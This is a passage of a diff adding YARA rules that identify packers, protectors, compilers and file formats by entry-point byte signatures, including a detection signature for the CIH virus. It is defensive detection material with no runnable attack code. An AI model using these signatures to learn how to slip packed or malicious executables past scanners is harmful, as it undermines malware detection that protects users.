+		$5 = {F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? A7 BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68}
+		$6 = {87 FE ?? 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00}
+		$7 = {E8 04 ?? ?? ?? 8B EC 5D C3 33 C0 5D 8B FD 81 ED 33 26 40 ?? 81 EF ?? ?? ?? ?? 83 EF 05 89 AD 88 27 40 ?? 8D 9D 07 29 40 ?? 8D B5 62 28 40 ?? 46 80}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint or $6 at entrypoint or $7 at entrypoint
+}
+rule _VBOX_v42_MTE_
+{
+	meta:
+		description = "VBOX v4.2 MTE"
+	strings:
+		$0 = {8C E0 0B C5 8C E0 0B C4 03 C5 74 00 74 00 8B C5}
+		$1 = {8C E0 0B C5 8C E0 0B C4 03 C5 74 00 74 00 8B C5}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NoobyProtect_V1090__V1097__Nooby_
+{
+	meta:
+		description = "NoobyProtect V1.0.9.0 - V1.0.9.7 -> Nooby"
+	strings:
+		$0 = {53 51 E8 00 00 00 00 8B 1C 24 83 C3 25 33 C9 87 4B FC 83 F9 00 74 06 80 33 ?? 43 E2 FA 83 C4 04 59 5B 9D E9 04 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NTkrnl_Secure_Suite_01015_DLL__NTkrnl_Software_
+{
+	meta:
+		description = "NTkrnl Secure Suite 0.1-0.15 DLL -> NTkrnl Software"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 8B 44 24 04 05 ?? ?? ?? ?? 50 E8 01 00 00 00 C3 C3}
+		$1 = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 8B 44 24 04 05 ?? ?? ?? ?? 50 E8 01 00 00 00 C3 C3}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _PEBundle_003_
+{
+	meta:
+		description = "PEBundle 0.03"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 00 87 DD 01 AD 42 24 40 00 01 AD A3 24 40 00 01 AD D7 24 40 00 E8 B5 01 00 00 FF B5 9A 20 40 00 FF B5 FC 20 40 00 E8 39 02 00 00 72 13 FF B5 96 20 40 00 FF B5 F8 20}
+	condition:
+		$0 at entrypoint
+}
+rule _NoobyProtect_SE_Public_V1140__Nooby__20090201_
+{
+	meta:
+		description = "NoobyProtect SE Public V1.1.4.0 -> Nooby * 20090201"
+	strings:
+		$0 = {E9 ?? 00 00 00 4E 6F 6F 62 79 50 72 6F 74 65 63 74 20 53 45 20 31 2E 31 2E 34 2E 30}
+	condition:
+		$0 at entrypoint
+}
+rule _Alex_Protector_04_beta_1_by_Alex_
+{
+	meta:
+		description = "Alex Protector 0.4 beta 1 by Alex"
+	strings:
+		$0 = {60 E8 01 00 00 00 C7 83 C4 04 33 C9 E8 01 00 00 00 68 83 C4 04 E8 01 00 00 00 68 83 C4 04 B9 ?? 00 00 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 01 00 00 00 C7 83 C4 04 8B 2C 24 83 C4 04 E8 01 00 00 00 A9 83 C4 04 81 ED 3C 13 40 00 E8 01 00 00 00 68}
+	condition:
+		$0 at entrypoint
+}
+rule _LZEXE_091__100_
+{
+	meta:
+		description = "LZEXE 0.91 / 1.00"
+	strings:
+		$0 = {06 0E 1F 8B 0E 0C 00 8B F1 4E 89 F7 8C DB 03 1E 0A 00 8E C3 FD F3 A4 53 B8 00 00 50 CB 2E 8B 2E 08 00 00 DA 89 E8 3D 00 10 76 03 B8 00 10 29 C5 29 C2 29 C3 8E DA 8E C3 B1 03 D3 E0 89 C1 00 00 48 48 8B F0 8B F8 F3 A5 09 ED 75 D8 FC 8E C2 8E}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_136_EXE_
+{
+	meta:
+		description = "XPack 1.36 [EXE]"
+	strings:
+		$0 = {2E C7 06 01 01 00 00 8B EC EB 01 E8 2E C6 06 08 05 FA EB 00 9A BC 15 05 2E C6 06 14 05 C3 EB 00 9A 3B 05 06 09 95 19 99 26 03 62 F1 03 6D 05 88 05 13 06 49 06 E2 00 5D 06 CF 00 45 06 AC 00 48 06 AA 00 3C 06 FC 00 33 E4 8E D4 83 C4 10 2E 8F}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_224__StrongbitSoftComplete_Development_h3_
+{
+	meta:
+		description = "EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h3)"
+	strings:
+		$0 = {6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+	condition:
+		$0
+}
+rule _Vx_CIH_Version_12_TTIT__WIN95CIH__
+{
+	meta:
+		description = "Vx: CIH Version 1.2 TTIT (! WIN95CIH !)"
+	strings:
+		$0 = {55 8D ?? ?? ?? 33 DB 64 87 03 E8 ?? ?? ?? ?? 5B 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Virtualization_Suite_30x__3300__Thinstall_Inc_
+{
+	meta:
+		description = "Thinstall Virtualization Suite 3.0x - 3.300 -> Thinstall Inc."
+	strings:
+		$0 = {CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 ?? ?? ?? 33 DB BA ?? ?? ?? ?? 43 33 C0 E8 19 01 ?? ?? 73 0E 8B 4D F8 E8 27 01 ?? ?? 02 45 F7 AA EB E9 E8 04 01 ?? ?? 0F 82 96 ?? ?? ?? E8 F9 ?? ?? ?? 73 5B B9 04 ?? ?? ?? E8 05 01 ?? ?? 48 74 DE 0F 89 ?? ?? ?? ?? E8 DF ?? ?? ?? 73 1B 55 BD ?? ?? ?? ?? E8 DF ?? ?? ?? 88 07 47 4D 75 F5 E8 C7 ?? ?? ?? 72 E9 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _NoodleCrypt_v20__NoodleSpa_
+{
+	meta:
+		description = "NoodleCrypt v2.0 -> NoodleSpa"
+	strings:
+		$0 = {EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_093_UnHack32_11_
+{
+	meta:
+		description = "UPX 0.93 [UnHack32 1.1"
+	strings:
+		$0 = {60 BE 00 80 43 00 8D BE 00 90 FC FF C7 87 D0 64 04 00 26 81 74 8D 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190b2_
+{
+	meta:
+		description = "Armadillo v1.90b2"
+	strings:
+		$0 = {55 8B EC 6A FF 68 F0 C1 40 00 68 A4 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 F0 C1 40 00 68 A4 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Windows_Type_1_font_metric_file_
+{
+	meta:
+		description = "Windows Type 1 font metric file"
+	strings:
+		$0 = {00 01 ?? ?? 00 00 43 6F 70 79 72 69 67 68 74 20}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v133__dulekxt_
+{
+	meta:
+		description = "FSG v1.33 -> dulek/xt"
+	strings:
+		$0 = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v211_
+{
+	meta:
+		description = "ASPack v2.11"
+	strings:
+		$0 = {60 E8 F9 11 00 00 C3 83}
+	condition:
+		$0 at entrypoint
+}
+rule _AZProtect_0x0001__AlexZ_aka_AZCRC_
+{
+	meta:
+		description = "AZProtect 0x0001 -> AlexZ aka AZCRC"
+	strings:
+		$0 = {EB 70 FC 60 8C 80 4D 11 00 70 25 81 00 40 0D 91 BB 60 8C 80 4D 11 00 70 21 81 1D 61 0D 81 00 40 CE 60 8C 80 4D 11 00 70 25 81 25 81 25 81 25 81 29 61 41 81 31 61 1D 61 00 40 B7 30 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v099_
+{
+	meta:
+		description = "tElock v0.99"
+	strings:
+		$0 = {E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? 02 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? 02 00 00 00 00 00 ?? ?? 02 00 00 00 00 00 ?? ?? 02 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? 02 00 ?? ?? 02 00 ?? ?? 02 00 ?? ?? 02 00 77 ?? 02 00 ?? ?? 02 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? 00 00 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 00 00 ?? 00 00 ?? ?? 00 ?? ?? 00 00 ?? ?? ?? 00 00 00 00 00 00}
+		$1 = {E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? 02 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? 02 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_v071_DLL_
+{
+	meta:
+		description = "UPX v0.71 [DLL"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 95 01 00 00 60 E8 00 00 00 00 83}
+	condition:
+		$0 at entrypoint
+}
+rule _DBPE_v233_
+{
+	meta:
+		description = "DBPE v2.33"
+	strings:
+		$0 = {EB 20 ?? ?? 40 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECrypt_10__ReBirth_
+{
+	meta:
+		description = "EXECrypt 1.0 -> ReBirth"
+	strings:
+		$0 = {90 90 60 E8 00 00 00 00 5D 81 ED D1 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 96 0C 00 00 90 8D BD 4E 28 40 00 8B F7 AC}
+		$1 = {90 90 60 E8 00 00 00 00 5D 81 ED D1 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 96 0C 00 00 90 8D BD 4E 28 40 00 8B F7 AC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKLite_150_COM_
+{
+	meta:
+		description = "PKLite 1.50 [COM]"
+	strings:
+		$0 = {50 B8 00 00 BA 00 00 3B C4 73 79 8B C4 2D 42 03 25 F0 FF 8B F8 B9 A1 00 BE 8E 01 FC F3 A5 8B D8 B1 04 D3 EB 8C D9 03 D9 53 33 DB 53 CB 90 32 01}
+	condition:
+		$0 at entrypoint
+}
+rule _FASM_v15x_
+{
+	meta:
+		description = "FASM v1.5x"
+	strings:
+		$0 = {6A 00 FF 15 ?? ?? 40 00 A3 ?? ?? 40 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Comt_010_duckling_
+{
+	meta:
+		description = "Comt 0.10 (duckling)"
+	strings:
+		$0 = {2D 64 55 43 4B 2D 00 2E 42 00 00 3D 0D 0A 25 30 30 25 40 40 50 5A 2D 72 6D 2D 72 6D 2D 4C 23 50 5F 52 5E 4E 31 35 52 58 2D 71 6E 2D 71 6E 50 2D 40 21 50 59 2D 21 70 2D 21 60 2D 21 30 50 5D 3D 0D 0A 58 2D 62 21 50 5F 57 52 5E 21 35 47 47 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Protect_60_
+{
+	meta:
+		description = "Protect! 6.0"
+	strings:
+		$0 = {1E B4 30 CD 21 3C 02 73 02 CD 20 BE 00 00 E8 18 00 E8 08 00 1F 8C D8 8E C0 E9 15 00 BB 00 00 B4 00 AC 04 00 AA 4B 75 F9 C3 0E 1F FC 0E 07 8B FE C3}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXSCRAMBLER_306_
+{
+	meta:
+		description = "UPX-SCRAMBLER 3.06"
+	strings:
+		$0 = {E8 00 00 00 00 59 83 C1 07 51 C3 C3 BE ?? ?? ?? ?? 83 EC 04 89 34 24 B9 80 00 00 00 81 36 ?? ?? ?? ?? 50 B8 04 00 00 00 50 03 34 24 58 58 83 E9 03 E2 E9 EB D6}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_V115002008_Beta__NEOx_
+{
+	meta:
+		description = "nPack V1.1.500.2008 Beta -> NEOx"
+	strings:
+		$0 = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 9C 00 00 00 E8 48 02 00 00 E8 F8 06 00 00 E8 47 06 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3 56 57 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 BF ?? ?? ?? ?? 56 57 E8 23 FE FF FF 6A ?? 56 57 E8 F4 FC FF FF 83 C4 14 68 ?? ?? ?? ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 5F 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _SimbiOZ__Extranger_
+{
+	meta:
+		description = "SimbiOZ -> Extranger"
+	strings:
+		$0 = {50 60 E8 00 00 00 00 5D 81 ED 07 10 40 00 68 80 0B 00 00 8D 85 1F 10 40 00 50 E8 84 0B 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_by_Vaska_unknown_ver__sign_from_pinch_21032006_2305_
+{
+	meta:
+		description = "RCryptor by Vaska unknown ver  (sign from pinch 21.03.2006 23:05)"
+	strings:
+		$0 = {90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68 00 10 14 13 B8 00 10 14 13 3D 00 64 14 13 74 06 80 30 BC 40 EB F3 E8 00 00 00 00 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Zortech_C_v30_
+{
+	meta:
+		description = "Zortech C v3.0"
+	strings:
+		$0 = {FA FC B8 ?? ?? ?? 8C C8 8E D8}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_410__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 4.10 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 F8 8E 4C 00 68 D0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 7C A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 78 A5 4C 00 C1 E1 08 03 CA 89 0D 74 A5 4C 00 C1 E8 10 A3 70 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V2010_p_Hide_from_PE_scanners_Type2_
+{
+	meta:
+		description = "Themida/WinLicense V2.0.1.0 + [Hide from PE scanners Type2"
+	strings:
+		$0 = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FIZ_Archive_
+{
+	meta:
+		description = "FIZ Archive"
+	strings:
+		$0 = {46 49 5A 1A 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Locker_V10__IonIce_
+{
+	meta:
+		description = "Exe Locker V1.0 -> IonIce"
+	strings:
+		$0 = {E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Ding_Boys_PElock_007_
+{
+	meta:
+		description = "Ding Boys PE-lock 0.07"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 23 35 40 00 BE 3D 35 40 00 03 F5 B9 E4 02 00 00 E8 E4 02 00 00 71 99 00 00 83 3E 32 B8 77 40 00 74 38 67 BE C0 63 76 40 83 69 E1 82 1C C8 6B 76 40 BE 09 80 77 40 03 F6 A3 A9 6A 06 A4 77 40 66}
+	condition:
+		$0 at entrypoint
+}
+rule _PESHiELD_v01b_MTE_
+{
+	meta:
+		description = "PESHiELD v0.1b MTE"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B9 1B 01 ?? ?? D1}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_V12build3009_Method2__bagie_
+{
+	meta:
+		description = "SimplePack V1.2.build.30.09 (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 86 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04}
+		$1 = {4D 5A 90 EB 01 00 52 E9 86 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _eXPressorStandardV1601__CGSoftLabs__20080308_
+{
+	meta:
+		description = "eXPressor.Standard.V1.6.0.1 -> CGSoftLabs * 20080308"
+	strings:
+		$0 = {55 8B EC 81 EC 74 02 00 00 53 56 57 83 A5 C8 FD FF FF 00 F3 EB 0C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 40 04 25 ?? ?? ?? ?? 85 C0 74 5C 83 7D 0C 01 75 2A 8B 45 08 A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 19 6A 04 68 00 10 00 00 68 20 03 00 00 6A 00 FF ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 7D 0C 00 75 0E 83 3D ?? ?? ?? ?? ?? 74 05 E9 F4 0A 00 00 83 3D ?? ?? ?? ?? ?? 74 05 E9 BB 09 00 00 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 78 60 00 75 1C 6A 10 6A 00 E8 E8 19 00 00 59 50 6A 01 E8 DF 19 00 00 59 50 6A 00 FF 15 ?? ?? ?? ?? E8 27 FF FF FF A3 ?? ?? ?? ?? 6A 04 68 00 10 00 00 68 80 00 00 00 6A 00 FF 15 ?? ?? ?? ?? 89 85 E8 FD FF FF 68 04 01 00 00 8D 85 F0 FD FF FF 50 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 84 05 EF FD FF FF 89 85 D4 FD FF FF 8B 85 D4 FD FF FF 0F BE 00 83 F8 5C 74 0F 8B 85 D4 FD FF FF 48 89 85 D4 FD FF FF EB E3 8B 85 D4 FD FF FF 40 89 85 D4 FD FF FF 8B 85 D4 FD FF FF 8D 8D F0 FD FF FF 2B C1 89 85 AC FD FF FF 8B 8D AC FD FF FF 8D B5 F0 FD FF FF 8D BD FC FE FF FF 8B C1 C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 85 AC FD FF FF 80 A4 05 FD FE FF FF 00 83 A5 D8 FD FF FF 00 A1 ?? ?? ?? ?? 8B 40 04 25 ?? ?? ?? ?? 85 C0 75 11 A1 ?? ?? ?? ?? 8B 40 04 25 ?? ?? ?? ?? 85 C0 74 43 E8 11 0C 00 00 89 85 D8 FD FF FF A1 ?? ?? ?? ?? 8B 40 04 25 ?? ?? ?? ?? 85 C0 74 27 83 BD D8 FD FF FF 00 74 1E 6A 10 FF B5 D4 FD FF FF 6A 18 E8 C3 18 00 00 59 50 6A 00 FF 15 ?? ?? ?? ?? E9 8F 09 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CC_v261_Beta_
+{
+	meta:
+		description = "CC v2.61 Beta"
+	strings:
+		$0 = {BA ?? ?? B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _Pack_Master_v10_
+{
+	meta:
+		description = "Pack Master v1.0"
+	strings:
+		$0 = {60 E8 01 ?? ?? ?? ?? 83 C4 04 E8 01 ?? ?? ?? ?? 5D 81}
+		$1 = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED D3 22 40 00 E8 04 02 00 00 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46}
+		$2 = {60 E8 01 ?? ?? ?? E8 83 C4 04 E8 01 ?? ?? ?? E9 5D 81 ED D3 22 40 ?? E8 04 02 ?? ?? E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _eXpressor_v12__CGSoftLabs_
+{
+	meta:
+		description = "eXpressor v1.2 -> CGSoftLabs"
+	strings:
+		$0 = {45 78 50 72 2D 76 2E 31 2E 32 2E}
+		$1 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76}
+		$2 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04 01 00 00 8D 85 F0 FE FF FF 50 6A 00 FF 15}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _RLPack_V115V117_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack V1.15-V1.17 (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5}
+		$1 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 45 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_60_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ 6.0 DLL"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 75 09 83 3D ?? ?? ?? ?? ?? EB 26 83 FE 01 74 05 83 FE 02 75 22 A1 ?? ?? ?? ?? 85 C0 74 09 57 56 53 FF D0 85 C0 74 0C 57 56 53 E8 15 FF FF FF 85 C0 75 04 33 C0 EB 4E}
+	condition:
+		$0 at entrypoint
+}
+rule _EPW_v130_
+{
+	meta:
+		description = "EPW v1.30"
+	strings:
+		$0 = {06 57 1E 56 55 52 51 53 50 2E 8C 06 08 00 8C C0 83 C0 10 2E}
+		$1 = {06 57 1E 56 55 52 51 53 50 2E 8C 06 08 00 8C C0 83 C0 10 2E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PEQuake_V006__forgat_
+{
+	meta:
+		description = "PEQuake V0.06 -> forgat"
+	strings:
+		$0 = {E8 ?? ?? FF FF E8 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? ?? ?? 00 00 00 ?? ?? ?? 00 ?? ?? 00 ?? 00 ?? 00 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? ?? 00 ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? ?? ?? 00 00 00 ?? ?? 00 ?? ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00}
+		$1 = {E8 A5 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SoftDefender_V11X__Randy_Li_
+{
+	meta:
+		description = "SoftDefender V1.1X -> Randy Li"
+	strings:
+		$0 = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_SKE_21x_exe__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect SKE 2.1x (exe) -> Alexey Solodovnikov"
+	strings:
